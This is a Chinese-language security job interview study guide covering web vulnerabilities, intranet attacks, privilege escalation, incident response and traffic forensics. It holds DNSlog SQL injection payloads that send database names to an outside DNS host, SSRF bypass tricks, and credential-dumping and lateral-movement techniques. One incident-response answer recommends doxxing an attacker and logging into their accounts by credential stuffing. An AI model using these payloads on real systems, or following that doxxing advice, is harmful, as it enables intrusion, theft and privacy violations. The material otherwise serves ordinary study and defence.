网安面试
一、web常问(42)
1. SQL注入原理的种类?防御呢?预编译原理?
原理:在数据交互中,前端的数据传入到后台处理
时,由于后端没有做严格的判断,导致其传入的“数
据”拼接到SQL语句中后,被当作SQL语句的一部分执
行。
种类:字符,数字,布尔,报错,延迟,联合,堆
叠,宽字节,XFF等
修复:使用预编译,PDO,正则表达式过滤,开启魔
术引号,加装WAF等
预编译原理:预编译将一次查询通过两次交互完成,
第一次交互发送查询语句的模板,由后端的SQL引擎进
行解析为AST或Opcode,第二次交互发送数据,代入
AST或Opcode中执行,无论后续向模板传入什么参
数,这些参数仅仅被当成字符串进行查询处理,因此
杜绝了sql注入的产生。
2. XSS的种类有哪些?区别?修复呢?
种类:存储型,反射型,DOM型
区别:存储型:常出现在信息修改添加等地方,导致恶
意代码被存储在数据库中,每当被攻击者访问到后就
会触发执行;反射型:常出现在url中,一般需要攻击
者提前构造好恶意链接,欺骗用户点击,触发攻击代
码;DOM型:攻击代码在url中,然后输出在了浏览器
的DOM节点中。简单比较会发现,存储和反射都经过
服务器,而DOM是纯前端。
修复:对输入数据进行Html Encode 处理,白名单过
滤,过滤JavaScript 事件的标签,开启http-only,装
WAF等。
3. XSS,CSRF和SSRF区别?(很常问)
XSS:跨站脚本攻击;
CSRF:跨站请求伪造脚本攻击;
SSRF:服务器请求伪造攻击。
区别:XSS是服务器对用户输入的数据没有进行足够的
过滤,导致客户端浏览器在渲染服务器返回的html页
面时,出现了预期值之外的 脚本语句被执行。CSRF:
CSRF是服务器端没有对用户提交的数据进行随机值校
验,且对http请求包内的refer字段校验不严,导致攻击
者可以 利用用户的Cookie信息伪造用户请求发送至服
务器。 SSRF:SSRF是服务器对 用户提供的可控URL过
于信任,没有对攻击者提供的RUL进行地址限制和足够
的检测,导致攻击者可以以此为跳板攻击内网或其他
服务器。
4. XXE漏洞了解吗?
XXE漏洞即xml外部实体注入漏洞,发生在应用程序解析
XML输入时,没有禁止外部实体的加载,导致可加载恶
意外部文件,造成文件读取、命令执行、内网端口、
攻击内网网站、发起dos攻击等危害。
5. PHP反序列化有了解吗?
序列化就是将一个对象转换成字符串,反序列化则反
之,将字符串重新转化为对象。
此外,PHP反序列化又可以简单分成两种,一种无
类,一种有类,无类利用就略微简单,如果源码会将
输入的值进行反序列化,那我们就需要提前将数据序
列化后再传入。而想要利用有类就要用到魔术方法,
而魔术方法就像一个潜规则一样,例如我们在创建对
象时,就会触发__construct(),并执行__construct()中的
代码。
再用通俗的话来说,例如有人喊出了你女朋友的名
字,你脑海中就会马上复现出她的身影一样,没有人
让你特意去想,只是一种无意识的规则调用。
5.1 JAVA反序列化了解吗?有没有了解过shrio反序列化?(最常问,无论hvv还是工作面试)?
Java中的ObjectOutputStream类的writeObject()方法可
以实现序列化,其作用把对象转换成字节流,便于保
存或者传输,而ObjectInputStream类的readObject()方
法用于反序列化,作用就是把字节流还原成对象。
shiro反序列化主要是Apache shiro提供了一个
remember的一个功能,用户登录成功后会生成经过加
密并编码的cookie,保存在浏览器中方便用户的日常使
用,而服务器对cookie的处理流程就是先获取浏览器上
保存的cookie,然后将其bs64解码,再进行AES解密,
再将其反序列化进行校验,而漏洞就是出现在这里,
我们都知道AES它是一个硬编码,他是有默认密钥的,
如果程序员没有去修改或者过于简单,那我们就可以
进行cookie重构,先构造我们的恶意代码,然后将恶意
代码进行序列化,然后AES加密(密钥我们已经爆破出
来了),再进行bs64编码,形成我们新的cookie,而服
务器在处理时就会按照刚才的处理流程,就会在服务
端触发我们构造的恶意代码。
6. 逻辑漏洞遇到过哪些,给你登录框有没有什么思路?
常见逻辑漏洞:越权,响应包修改,支付金额修改,
cookie爆破,密码找回方面等等
登录页面思路:爆破,session覆盖,sql注入,xss,任
意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等
7. CDN和DNS区别?CDN绕过思路?
CDN:内容分发网络,主要作用就是让用户就近访问
网络资源,提高响应速度,降低网络拥堵。
DNS:域名服务器,主要作用就是将域名翻译成ip地
址。
CDN绕过思路:子域名,内部邮件,黑暗引擎搜索,
国外ping,证书及DNS查询,app抓包,配置不当泄
露,扫全网,DOS攻击等。
8. 常见的中间件漏洞知道哪些?
IIS:PUT漏洞、短文件名猜解、远程代码执行、解析
漏洞等
Apache:解析漏洞、目录遍历等
Nginx:文件解析、目录遍历、CRLF注入、目录穿越等
Tomcat:远程代码执行、war后门文件部署等
JBoss:反序列化漏洞、war后门文件部署等
WebLogic:反序列化漏洞、SSRF任意文件上传、war后
门文件部署等
………..
9. WAF绕过的手法你知道哪些?
这里从以sql注入为例,从三个层面简单总结一下手
法。
1.从架构层面:找到服务器真实IP,同网段绕过,http
和https同时开放服务绕过,边缘资产漏洞利用绕过。
2.从协议层面:分块延时传输,利用pipline绕过,利用
协议未覆盖绕过,POST及GET提交绕过。
3.从规则层面:编码绕过,等价符号替换绕过,普通注
释和内敛注释,缓冲区溢出,mysql黑魔法,白名单及
静态资源绕过,文件格式绕过,参数污染。
10. 命令无回显如何解决?
无回显:延时判断,http请求监听,DNSlog利用,写
入当前目录下载查看等等。
11. 3389端口无法连接的几种情况?
1.3389关闭状态,2.端口修改,3.防火墙连接,4.处于
内网环境,5.超过了服务器最大连接数,6.管理员设置
权限,指定用户登录。
12. 常问的端口信息?
21:FTP文件传输协议
22:SSH远程连接
23:TELNET远程登录
25:SMTP邮件服务
53:DNS域名系统
80:HTTP超文本传输协议
443:HTTPS安全超文本传输协议
1433:MSSQL
3306:MYSQL
3389:windows远程桌面服务端口
7701:weblogic
8080:TCP,HTTP协议代理服务器:Apache-tomcat默认
端口号
13. 渗透测试的流程?(主要看自己)
单一网站:先判断有无CDN,有先找真实ip,无的话扫
扫旁站,c段,此外识别CMS,看看使用什么中间件,
插件,系统等等,再对其进行端口探测,目录扫描,
查看网站的js文件,看看有没有敏感信息泄露,找找看
看有没有app,公众号之类的等等扩大资产面,然后对
收集到的信息进行常规的漏洞探测。
网段或区域:使用goby工具对资产进行一个批量的扫
描,批量打点,然后对可能存在漏洞的薄弱点进行漏
洞探测。
14. 什么是逻辑漏洞?说出至少三种业务逻辑漏洞,以及修复方式?
逻辑漏洞是指由于程序逻辑不严或逻辑太复杂,导致
一些逻辑分支不能够正常处理或处理错误。
拿支付漏洞来说,简单思路有价格修改,支付状态修
改,数量最大值溢出,订单替换,支付接口替换,四
舍五入,越权支付等等。
拿登录来说,修改状态信息,密码修改跳过验证等
等。
密码找回漏洞中存在:1)密码允许暴力破解、2)存
在通用型找回凭证、3)可以跳过验证步骤、4)找回
凭证可以拦包获取。
身份认证漏洞中最常见的是:1)会话固定攻击、2)
Cookie 仿冒。只要得到 Session 或 Cookie 即可伪造用
户身份。
验证码漏洞中存在:1)验证码允许暴力破解、2)验
证码可以通过 Javascript 或者改包的方法来进行绕过。
15. 未授权访问你可以简单说说吗?
Redis 未授权访问漏洞
未开启认证,导致可以直接连接到数据库,
然后在攻击机中生成ssh公钥和私钥,密码设置为空,
然后将生成的公钥写入,再利用私钥连接。
JBOSS 未授权访问漏洞
访问ip/jmx-console 就可以浏览 jboss 的部署管理的信
息面板,不需要输入用户名和密码可以直接部署上传
木马。简单来说就是对某些页面的验证不严格导致绕过了用
户验证的环节,使其可以直接访问到某些登录后才能
访问到的页面。
16. 打点一般会用什么漏洞?
优先以java反序列化这些漏洞像shiro,fastjson,
weblogic,用友oa等等进行打点,随后再找其他脆弱
性易打进去的点。因为javaweb程序运行都是以高权限
有限运行,部分可能会降权。
20. 拿到webshell不出网情况下怎么办?
reg上传去正向连接。探测出网协议,如dns,icmp。
21. PHP 代码执行的危险函数?PHP 命令执行函数 ?
PHP 代码执行的危险函数:call_user_func()、
call_user_func_array()、create_function()、
array_map()
PHP 命令执行函数:system()、shell_exec()、
passthru()、exec()、popen()、proc_open()、putenv()
22. Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么
构造代码?mssql 下又如何?
(1)没有回显的情况下,一般编写脚本,进行自动化
注入。但与此同时,由于防火墙的存在,容易被封禁
IP,可以尝试调整请求频率,有条件的使用代理池进
行请求。
(2)此时也可以使用 DNSlog 注入,原理就是把服务
器返回的结果放在域名中,然后读取 DNS 解析时的日
志,来获取想要的信息。
(3)Mysql 中利用 load_file() 构造payload: ‘ and
if((select load_file(concat(‘\\‘,(select database()),’.
\abc’))),1,0)#
xxx.ce
ye.io
(4)Mssql 下利用 master..xp_dirtree 构造payload:
DECLARE @host varchar(1024);SELECT @host=(SELECT
db_name())+’. ‘;EXEC(‘master..xp_dirtree”'+@
host+’\foobar$”‘);
23. phpmyadmin写sehll的方法?
常规导入shell的操作
一句话导出shell
日志备份获取shell
25. SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?
(1) 利用进制转换
(2) 利用DNS解析
(3) 利用句号(127。0。0。1)
(4) 利用[::](http://[::]:80/);
(5) 利用@(
http://[email protected]
);
(6) 利用短地址(
http://dwz.cn/11SMa
);
(7) 协议(Dict://、SFTP://、TFTP://、LDAP://、
Gopher://)
26. phar协议如何利用,php伪协议input与post数据包发送有什
么区别?
(1)可以Bypass一些waf,绕过上传限制
(2)Phar反序列化,Phar:// 伪协议读取phar文件时,
会反序列化meta-data储存
(3) 区别
一、 application/x-www-form-urlencoded 或
multipart/form-data时,php://input 中是原始数据。
$_POST 中是关联数组,且没有上传控件的内容。
二、enctype=”multipart/form-data” 时php://input 是无
效的。
三、 Content-Type = “text/plain”时,$_POST 不能获取
post的数据, php://input可以。
30. 提权你了解过吗?udf提取原理是什么
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录
的lib\plugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数
32. 了解过解析漏洞,分别有哪些?
IIS:
1、在网站目录*.asp、*.asa下的任何扩展名的文件
格式都会被解析为asp并执行在目录*.asp下,*.txt文
本文件被解析。
2、在IIS6.0上,分号 ; 后面的不解析。
nginx:
1、在网站目录下创建文件demo2.jpg,然后再浏览
器中访问
,服务器对请求的内容是从右向左的。Nginx拿
到文件路径(更专业的说法是 http://192.168.11.131/test2/demo2.jpg/aaa.
phpURI)/test.jpg/test.php后,一看后缀是.php,便认
为该文件是php文件,转交给php去处理。php一
看/test.jpg/test.php不存在,便删去最后
的/test.php,又看/test.jpg存在,便把/test.jpg当成
要执行的文件了,又因为后缀为.jpg,php认为这不
是php文件,于是返回“Access denied.”。
2、00截断
二、工具常问
1.你常用的渗透工具or漏扫工具?
渗透工具:msf,cs,nmap,slqmap,dirscan,burp
等
漏扫:xray,awvs,nessus,appscan等
2.sqlmap中–os-shell的原理及利用条件?
利用条件:root权限,知道绝对路径,GPC关闭,
Secure_file_priv参数为空或者为指定路径。
原理及流程:原理其他比较简单,先目标的一个基础
信息的探测,然后上传shell到目标web网站上,利用
shell传参进行命令执行,退出时删除shell。
当然数据库不同,必要条件也不同,例如sqlserver需
要数据库支持外连,数据库权限为SA权限,主要利用
xp_cmdshell扩展进行命令执行。
原理细致分析:
https://xz.aliyun.com/t/7942#toc-4
3.对于信息收集你会使用哪些工具?具体用来干什么?
nmap:端口服务扫描,常见漏洞探测
dirsearch:目录信息扫描
whatwaf:waf检测识别
WFuzz:fuzz测试
潮汐指纹识别orwappalzer:cms及中间件等信息收集
等等等…..
4.市面上的几款webshell管理工具,他们的相同点和不同点?
相同点:都是webshell管理的工具,都采用的是C/S模
型,上传的shell为S,个人客户端为C。
不同点:实现区别,功能差异,例如冰蝎有流量动态
加密。
5.有没有了解或者使用过厂商的安全设备?(有的话请举例说明)
而目前比较知名的态势感知厂商主要有:服云、安
恒、瀚思、360、深信服、新华三,绿盟,奇安信等
等。
演示视频:新华三A02演示视频:
https://v.youku.com/v
_show/id_XMzk4NTc4NDM4MA==.html
其他的自己找找,或者根据个人情况回答。
6. nmap常用参数,说一下?
-sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。
-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。
-sF -sN 秘密FIN数据包扫描、Xmas Tree、Null扫描模式
-sP ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-sU UDP扫描,但UDP扫描是不可靠的
-sA 这项高级的扫描方法通常用来穿过防火墙的规则集
-sV 探测端口服务版本
-Pn 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描
-v 显示扫描过程,推荐使用
-h 帮助选项,是最清楚的帮助文档
-p 指定端口,如“1-65535、1433、135、22、80”等
-O 启用远程操作系统检测,存在误报
-A 全面系统检测、启用脚本检测、扫描等
-oN/-oX/-oG 将报告写入文件,分别是正常、XML、grepable 三种格式
-T4 针对TCP端口禁止动态扫描延迟超过10ms
-iL 读取主机列表,例如,“-iL C:\ip.txt”
扫描指定IP所开放的端口:nmap -sS -p 1-65535 -v XXX.XXX.XXX.XXX
扫描C段存活主机:nmap -sP XXX.XXX.XXX.XXX/24
指定端口扫描:nmap -p 80,1433,22,1521 XXX.XXX.XXX.XXX
探测主机操作系统:nmap -o XXX.XXX.XXX.XXX
全面的系统探测:nmap -v -A XXX.XXX.XXX.XXX(Nmap默认扫描主机1000个高危端口)
探测指定网段:nmap XXX.XXX.XXX.XXX-XXX
穿透防火墙进行扫描:nmap -Pn -A XXX.XXX.XXX.XXX(XXX.XXX.XXX.XXX禁止用ping的)
使用脚本,扫描Web敏感目录:nmap -p 80 –script=http-enum.nse XXX.XXX.XXX.XXX
三、内网常问
1. 横向渗透命令执行手段?
psexec,wmic,smbexec,winrm,net use共
享+计划任务+type命令。
2. psexec和wmic或者其他的区别?
psexec会记录大量日志,wmic不会记录下日
志。wmic更为隐蔽
3. Dcom怎么操作?
通过powershell执行一些命令,命令语句比较
复杂,不记得了
4. 抓取密码的话会怎么抓?
procdump+mimikatz 转储然后用mimikatz离线
读取
5. 什么版本之后抓不到密码?
windows server 2012之后
6. 抓不到的话怎么办?
翻阅文件查找运维等等是否记录密码。
或者hash传递。
或者获取浏览器的账号密码等等
7. 域内攻击方法有了解过吗?
MS14-068、Roasting攻击离线爆破密码、委派
攻击,非约束性委派、基于资源的约束委派、
ntlm relay。
8. 桌面有管理员会话,想要做会话劫持怎么做?
提权到system权限,然后去通过工具,就能够
劫持任何处于已登录用户的会话,而无需获得
该用户的登录凭证。
9. 内网渗透思路?
代理穿透
权限维持
内网信息收集
口令爆破
凭据窃取
社工
横行和纵向渗透
拿下域控
10. 当前机器上有一个密码本,但加密了,应该
怎么办?
使用hashcat或者其他密码爆破工具进行爆
破。
11. 获取域控的方法有哪些?
SYSVOL
MS14-068 Kerberos
SPN扫描
黄金票据和白银票据
域服务账号破解
凭证窃取
NTLM relay
kerberos委派
zerologon漏洞
地址解析协议
CVE-2021-42278和CVE-2021-42287
12. 黄金票据和白银票据说一下?
https://www.jianshu.com/p/4936da524040
13. Windows权限维持?Linux权限维持?
windows: https://xz.aliyun.com/t/8095
linux: https://xz.aliyun.com/t/7338
14. shellcode免杀了解吗?有哪些方法?
15. 域信息收集思路?
- 判断是否存在域
- 定位域控
- 域基本信息查询(所有域、域信任信息、域密码策略)
- 域内用户查询(定位域管)
- 域内主机查询
6.BloodHound工具
16. 代理转发常用的工具有哪些?
frp
Neo-reGeorg
ssf
ew
Venom
四、计算机网络常问
1. 说一说OSI模型和TCP/IP体系结构?
OSI模型:从下到上为物理层,数据链路层,网络层,
传输层,会话层,表达层,应用层。
TCP/IP结构:从下到上为网络接口层,网络层,传输
层,应用层
2. TCP/IP的三次握手和四次挥手过程,且为什么要这样?
三次握手:当客户端连接服务器,首先会对服务器
发送一个SYN包(连接请求数据),表示询问是否可以
连接,服务器如果同意连接,就会回复一个
SYN+ACK,客户端收到后就会回复一个ACK包,连
接建立。因为期间相互发送了三包数据,所以称为
三次握手。
四次挥手:处于连接状态的客户端或者服务器都可
以发起关闭连接请求,假设客户端主动发起关闭请
求,它先需要先服务端发送一个FIN包,表示我要关
闭连接,自己进入终止等待1的状态(第一次挥手),
服务器收到FIN包之后发送一包ACK包,表示自己进
入关闭等待的状态,客户端进入终止等待2的状态
(第二次挥手),服务器这时候还可以发送未发送的
数据,客户端还可以接收数据,等到服务端将所有
数据发送完后,向客户端发送一个FIN包,自身进入
最后缺人状态(第三次挥手),客户端收到后回复一
个ACK包,自己进入超时等待状态,进入超时时间
后关闭连接,而服务端收到ACK包后立即关闭连接
(第四次挥手)。
原因:为了解决网络信道不可靠的问题,为了能够
在不可靠的信道上建立起可靠的连接。
一条视频看懂TCP/IP协议的三次握手与四次挥手(看
一遍就会,强推):https://b23.tv/5md739N
3. 私有ip的地址划分?
分为三类
A类:10.0.0.0——10.255.255.255
B类:172.16.0.0——172.31.255.255
C类:192.168.0.0——192.168.255.255
4. UDP和TCP协议的区别及优缺点?
UDP协议是基于非连接的,发送数据就是将数据简单
是封装,然后从网卡发出去即可。数据包之间并没有
状态上的联系,所以其优点就是性能消耗少,资源占
用少;缺点就是稳定性弱。
TCP协议是基于连接的,在收发数据前必须和对方建立
可靠的连接,建立连接的3次握手、断开连接的4次挥
手,为数据传输打下可靠基础。所以优点就是 传输稳
定可靠。
5. 正向Shell和反向Shell的区别是什么?
正向shell:攻击者连接被攻击机器,可用于攻击者处
于内网,被攻击者处于公网的情况。
反向shell:被攻击者主动连接攻击者,可用于攻击者
处于外网,被攻击者处于内网的情况。
6. 正向代理和反向代理的区别?
正向代理:当客户端无法访问外部资源的时候(例如
goolge,youtube),可以通过一个正向代理去间接的访
问。
打个比方:A向C借钱,由于一些情况不能直接向C借
钱,于是A想了一个办法,他让B去向C借钱,这样B就
代替A向C借钱,A就得到了C的钱,C并不知道A的存
在,B就充当了A的代理人的角色。
反向代理:客户端时无感知代理的存在,以代理服务
器来接收internet上的连接,然后将请求转发给内部网
络上的服务器,并从服务器上得到的结果返回给
internet上请求连接的客户端。
再次打个比方:A向B借钱,B没有拿自己的钱,而是悄
悄地向C借钱,拿到钱之后再交给A,A以为是B的钱,他
并不知道C的存在。
在内网渗透中,正反向代理可以这样回答
正向代理:已控服务器监听端口,通过这个端口形成
一个正向的隧道,由代理机器代替主机去访问内网目
标。但是内网入口一般处于DMZ区域有防火墙拦截,
无法直接进入内网环境。
反向代理:由内网主机主动交出权限到代理机器,然
后本地去连接形成反向代理。例如:VPS监听本地端
口,已控内网服务器来连接此端口,形成一个隧道。
如果内网设备连接外网,就无法回弹只能再想其他办
法。
7.常见防火墙的种类?
简单种类:包过滤防火墙,代理防火墙,状态检测防
火墙
五、系统(windows及linux)方面常问
1.如何手工判断对方操作系统?
1.修改url中参数,改成大写,正常为windows,不正常
即为linux
2.ping服务器,返还得TTL值不一样,windows一般在
100以上,linux一般是100以下。
3.查看数据包HTTP报头,如果是iis那就肯定是windows
2.windows和Linux查看开放端口和运行服务的命令?
windows:查看端口使用情况【netstat -ano】,查看运
行的服务【net start】
Linux:查看本机开放端口【netstat -tuln】,查看当前
所有运行的服务【service –status-all | grep running】
3.Linux日志目录?
/var/log下
4.windows中下载文件的命令有哪些?
certutil,bitsadmin,powershell,copy
winodws下载执行命令大全:
https://xz.aliyun.com/t/1654
5.windows或linux被植入后门文件,讲一下你的排查流程?
检查系统日志,检查系统用户,查看是否有异常的系
统用户,检查异常进程,检查隐藏进程,检查异常系
统文件,检查系统文件完整性,检查网络,检查系统
计划任务,检查系统后门,检查系统服务。
6.windows提权的方法及思路?
- 系统内核溢出提权;
- 数据库提权;
- 错误的系统配置提权;
- DLL劫持提权;
- 特权第三方软件or服务提权;
- 令牌窃取提权;
- web中间件漏洞提权;
- AT,SC,PS提权等等;
7.Linux提权的思路及方法有哪些?
1.系统内核溢出提权;
2.SUID和GUID提权;
3.不安全的环境变量提权;
4.定时任务提权;
5.数据库提权等
8.windows加固方法?
1.修改3389端口
2.设置安全策略,不允许SAM账户的匿名枚举,不允许
SAM账户和共享的匿名枚举
3.在组策略中设置阻止访问注册表编辑工具
4.开启审核对象访问,开启审核目录服务访问,开启审
核系统事件
5.禁止445端口漏洞
6.设置屏幕保护在恢复时使用密码保护
7.设置Windows密码策略:设密码必须满足复杂性,设
置密码长度最小值为8位,最长存留期为30天
8.开启Windows防火墙,关闭ping服务,打开3389、80
等服务
9.关闭系统默认共享
等……..
9.Linux加固方法?
1.修改ssh的配置文件,禁止root直接登录
2.修改密码策略配置文件,确保密码最小长度为8位
3.确保错误登录3次,锁定此账户5分钟
4.禁止su非法提权,只允许root和wheel组用户su到root
5.不响应ICMP请求
6.设置登陆超时时间为10分钟
7结束非法登录用户
等……….
10.木马驻留的方式有哪些(去哪些敏感位置排查木马)?
1.注册表
2.服务
3.自启动目录
4.集合任务
5.关联文件类型
六、应急响应常问
1.你知道哪些常用的威胁情报平台?
1.微步情报社区:
https://x.threatbook.cn/
2.奇安信情报中心:
https://ti.qianxin.com/
3.绿盟情报中心:
https://nti.nsfocus.com/apt/home
此外360绿盟情报中心,VT,安恒等等
2.设备误报如何处理(日志)?
1.关键字检测
2.异常请求
3.行为分析
3.如何查看区分是扫描流量和手动流量?
扫描流量:流量集中,具有数据包内容具有一定规律
型,数据包请求间隔低或频率基本一致。
手工流量:反之扫描流量回答即可。
4.内网告警应该如何处理,流程是怎么样的?
具体定位到哪台机器,报警说明知道具体漏洞类型,
打相应补丁。
利用webshell或者是shell查杀工具查杀,查看tmp目录
下是非有带有免杀的木马。彻底清除。再到全流量分
析的机子上看,是非有经过其他的机器。拿到攻击ip
之后到线上的一些网站查看主机类型,比如360或者微
步上,查看是否是傀儡机,vps跳板,或者是国内个人
云主机。如果是个人云主机,就可以通过whois查看是
非有最近绑定的域名,或者绑定者的邮箱。知道邮箱
之后就可以反查询出qq号说多少,再利用社工查询到
手机号,到一个知名的网站或知名软件上查询这个手
机号有没有注册过什么网站,可以去这些网站通过撞
库的方法登入,这样就可以拿到这个攻击者的身份
证,学校,地址这些了。
5.应急响应的简单流程?
收集信息:由安全设备收集主机,样本信息,以及一
些客户信息。
判断类型:是否是安全事件?具体为什么安全事件?
挖矿?DOS?等。
深入分析:从系统角度深入分析,日志,进程,启动
项这些去分析。
清理处置:杀掉异常进程,删除异常文件,打补丁或
者修复相关文件等。
产出报告:对此次安全事件进行一个完整的文档描
述。
6. 对蜜罐有什么了解?
蜜罐是对攻击者的欺骗技术,用以监视、检测、分析
和溯源攻击行为,没有业务用途。
蜜罐的流量预示着扫描或攻击行为,较好聚焦攻击流
量。
7. 防火墙怎样判断这是一个反序列化漏洞?
抓包,反序列化的数据包有固定格式的字符串:
O:length:”value”:属性数:{属性类型:属性length:属性
value;属性类型:属性length:属性value;}。
8.应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件?
(1) 任务管理器netstat -anp寻找异常进程PID看端口信
息,然后根据端口信息定位到文件,cd /proc/PID (ls -
l查看),禁用可疑的服务项。
(2) windows还可以用wmic分析进程参数。
9. 如何查看被入侵后敲过的命令?
History
10. sftp,telnet,ssh的端口号?ssh与telnet的区别?
sftp:22
telnet:23
ssh:22
简单来说,ssh和telnet的区别就是一个是密文传输,一个是明文传输。
七、溯源与流量常问
1.如何定位到攻击IP?
1)首先通过选择-统计-对话查看流量的走向情况,定位
可疑的IP地址。
2)根据定位到的IP地址,尝试对上传的webshell进行定
位ip.addr ==ip &&http matches
“uploadleval|select|xp_cmdshell”&&
http.request.method == “POST”。
3)查找到 Webshell后尝试溯源漏洞位置,
http.request.uri contains“webshell.php”,定位到最开
始webshell执行或上传的时候。
4)根据最开始的HTTP上传包或者其他漏洞特产定位漏
洞类型。
2. 假设发现web应用服务器发现文件异常增多,初步怀疑被上
传webshell,描述流量分析溯源的思路?
1)查看eval、z0、shell、whoami等关键字,查看出现
次数过多的时候,可能需要查看是哪个页面发起的请
求,有可能是webshell。
2)通过 WireShark 工具快速搜索关键字,定位到异常
流量包。
3)找出异常IP和所上传的内容,查看是否为
webshell。
3. wireshark简单的过滤规则?
【过滤ip】:过滤源ip地址:ip.src1.1.1.1;目的ip地址:
ip.dst1.1.1.1;
【过滤端口】:过滤80端口:tcp.port80,源端口:
tcp.srcport80,目的端口:tcp.dstport==80
【协议过滤】:直接输入协议名即可,如http协议http
【http模式过滤】:过滤get/post包
http.request.mothod==”GET/POST”
4. Webshell流量交互的流量特征?
1)Webshell是用来控制服务器的,在控制服务器的过
程中,就会触发许多系统,函数,例如eval、z0(菜刀
特征)、shell.需监控这些关键的函数,具体需要查看
是哪个网页发起的请求进行鉴别。
2)Webshell连接可能使用base64编码,正常功能也会
使用base64容易引起误报,一般与eval数量对比,数量
差异较小时可能被上传webshell进行编码通讯。
3)除了系统函数、base64编码通讯外,还存在
int_set(“display_errors”,0”).为Webshell流量特征之
一。
4)还可以监控ifconfig whoami ipconfig等关键命令,这
是获得Webshell后基本,上都会执行的命令。
5. SQL查询异常流量分析的思路?
- 数据库短时间内查询增多有可能遭遇到了【扫描】
或者【sql注入测试】,可以结合流量分析工具进行研
判。 - 【select】 和【union】为数据库查询语句特征,当
这两者数量出现次数较多而且差异较小可能存在SOL注
入漏洞或正在被扫描器扫描,可监控这两个关键字,
但还需
要进一步查看具体请求参数。如:1)使用wireshark打
开抓取后的流量包,2)对于抓取到的数据包筛选出
HTTP协议包,在统计处筛选出短时间内流量较大的
IP。 - 尝试定位一些基本的注入特征(select、union、
()、/*、sleep等)。
6. 批量检查http服务?
方法一:直接使用nmapsV.py工具即可,用法为
python3 nmapsV.py ip.txtresult.txt。
方法二:使用nmap工具扫描,带上-sV参数进行版本识
别即可,将待检测的IP地址/地址段添加进ip.txt文件
中。使用命令nmap -sV -il ip.txt-oA OUTPUT –nostylesheet,扫出来的结果导出 nmap文件,使用
nampReport 工具得出结果。
漏洞总结
shiro漏洞原理
shiro漏洞原理是攻击者利用shiro的默认密钥伪造cookie,触发JAVA反序列化执行命令或者写shell。
shiro工具原理
跑默认key
shiro550和721的区别
721是需要有效的登录才可以 550不用登录就可以直接跑key
log4j原理
log4j是一款通用日志记录工具,log4j有个lookup接口通过JNDI注入触发日志,在{}里面调用jndi服务反弹shell到指定的服务器
除了jndi还可以调用rmi
fastjson原理
fastjson就是为了知道传入的值是什么类型。加了autotype机制导致的。因为他为了知道是什么详细类型,每次都需要读取下@type导致的
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,
执行构造函数形成RCE。
weblogic漏洞原理
WebLogic是Oracle发布的一个基于JAVAEE架构的web中间件
Thinkphp 漏洞
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
Struts在使用某些tag等情况下可能存在 OGNL表达式注入漏洞,从而造成远程代码执行
APP抓不到包怎么办
Burp+Xposed+JustTrustMe抓包
通过反编译apk
使用安卓7.0以下的版本
dnslog你就把他理解成你自己的一个外网服务器,因为你自己的电脑常规来说是局域网,
所以需要一个外网服务器判断服务器是否出网或命令执行是否成功。
1.怎么判断报警是不是误报?
1.根据返回包判断是否成功 判断报警,把报警日志里IP放到情报威胁平台分析,同时分析请求包返回包包,注重xff和x-real-ip,还有webshell的流量特征
2.用过那些安全设备?设备的功能有哪些?
- 设备基本分为监控 阻断 两种
3.怎么判断是否是真实的外部攻击?
3 真实攻击具备高线程 具有非正常用户访问特征,以及变异数据包
webshell特征
冰蝎2.0 强特征是accept里面有个q=.2
蚁剑是ua有answord 蚁剑的加密特征是以 “0x…..=”开头
哥斯拉pass字段
冰蝎3.0 Content-Type: application/octet-stream
菜刀流量存在一些特征字 eval base64
SQL注入 报错注入常用函数
floor()
updatexml()
extravalue()
exp()
multipoit()
布尔注入 函数
ascii()
substr()
hex()
AWVS扫描器的特征
主要是看请求包中是否含有
acunetix wvs 字段
Nessus扫描器的特征
nessus字段
XXE漏洞
修复:过滤用户提交的XML数据
使用开发语言提供的禁用外部实体的方法
禁止外部实体引入
xss
对字符实体进行转义、
使用HTTP Only来禁JavaScript读取Cookie值、
输入时校验、浏览器与Web应用端采用相同的字符编码
csrf
筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、
检验Referer
越权
对参数的白名单过滤
对权限的控制管理重新设计与限制
限制下载文件的类型
ssrf绕过
进制转换
利用句号
利用@
利用短地址
协议 DIct SFTP TFTP LDAP Gopher
修复
禁用一些协议,
设置白名单,限制访问内网ip
设置统一错误页面避免用户根据错误信息判断端口开发状态
SQL注入 原理
程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤
修复
关闭 SQL 错误回显
前端输入字符白名单验证
对输入的特殊字符使用转义处理
SQL 服务运行于专门的账号,并且使用最小权限
限制 SQL 服务的远程访问,只开放给特定开发人员
使用成熟的 waf
预编译
基线检查
对操作系统,数据库以及中间件等服务进行一些
安全配置的检查。(版本,弱口令)。
正向代理和反向代理的区别
正向代理代理的是客户端,反向代理代理的是服务端
正向代理是在客户端搭建,反向代理是在服务端搭建
正向代理主要目的是解决访问限制问题
反向代理起到安全防护的作用